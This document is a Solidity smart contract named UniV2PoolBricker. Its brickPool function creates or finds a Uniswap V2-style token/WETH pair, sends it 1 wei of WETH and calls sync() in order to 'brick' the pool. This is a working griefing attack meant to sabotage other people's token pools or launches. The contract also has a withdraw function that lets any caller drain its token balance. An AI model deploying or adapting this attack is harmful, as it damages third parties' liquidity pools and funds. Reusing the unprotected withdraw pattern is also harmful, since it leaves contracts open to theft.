UniV2PoolBricker.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {IERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IPairFactory} from "./IPairFactory.sol";
import {IPair} from "./IPair.sol";

contract UniV2PoolBricker {
    address public constant weth = 0xe5D7C2a44FfDDf6b295A15c148167daaAf5Cf34f;

    event PoolBricked(address indexed pair);
    error WrappingFailed();
    error PoolCreationFailed();

    function brickPool(address factory, address token) external payable {
        (bool success, ) = weth.call{value: msg.value}("");
        if(!success) revert WrappingFailed();

        address pair =  IPairFactory(factory).getPair(token, weth, false);
        if (pair == address(0)) {
            pair = IPairFactory(factory).createPair(token, weth, false);
        }
        if(pair == address(0)) revert PoolCreationFailed();

        IERC20(weth).transfer(pair, 1);
        IPair(pair).sync();

        emit PoolBricked(pair);
    }

    function withdraw(address _token) external {
        IERC20 token = IERC20(_token);
        uint256 balance = token.balanceOf(address(this));
        token.transfer(msg.sender, balance);
    }
}